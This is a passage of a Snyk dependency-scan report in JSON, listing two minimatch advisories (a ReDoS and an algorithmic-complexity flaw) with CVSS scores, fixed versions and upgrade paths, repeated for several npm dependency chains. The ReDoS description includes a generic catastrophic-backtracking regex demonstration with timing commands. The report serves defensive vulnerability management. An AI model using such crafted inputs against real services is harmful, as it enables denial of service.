"libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ 